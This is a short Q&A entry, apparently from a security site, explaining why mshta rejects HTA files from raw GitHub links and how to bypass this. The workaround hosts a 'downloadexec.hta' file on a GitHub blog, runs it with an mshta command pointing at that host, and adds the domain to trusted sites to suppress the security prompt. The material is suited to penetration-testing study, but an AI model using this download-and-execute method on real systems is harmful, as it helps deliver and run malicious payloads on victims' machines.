One Day Sec

Why does mshta fail to execute HTA scripts from raw GitHub links, and how can this be bypassed?

Raw GitHub links return a `text/plain` content type, but mshta expects an HTML response header to parse the script. To bypass this, upload the HTA file to a GitHub blog, which serves it as HTML. Then use `mshta https://<blog-url>/downloadexec.hta`. A security pop-up may occur due to cross-domain data access restrictions; this can be mitigated by adding the blog domain to Internet Explorer's trusted sites. This workaround and other methods are explained in Penetration Techniques - Multiple Methods for Downloading Files from GitHub.
mshtaHTAGitHub blogcontent typeHTML headersecurity pop-uptrusted sites

Browse all Q&A →